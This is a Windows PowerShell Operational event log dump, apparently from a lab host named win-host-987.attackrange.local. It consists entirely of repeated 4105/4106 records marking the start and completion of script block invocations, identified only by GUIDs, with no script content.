ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037103
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037102
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037085
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037079
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037057
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037055
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037054
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037051
Keywords=None
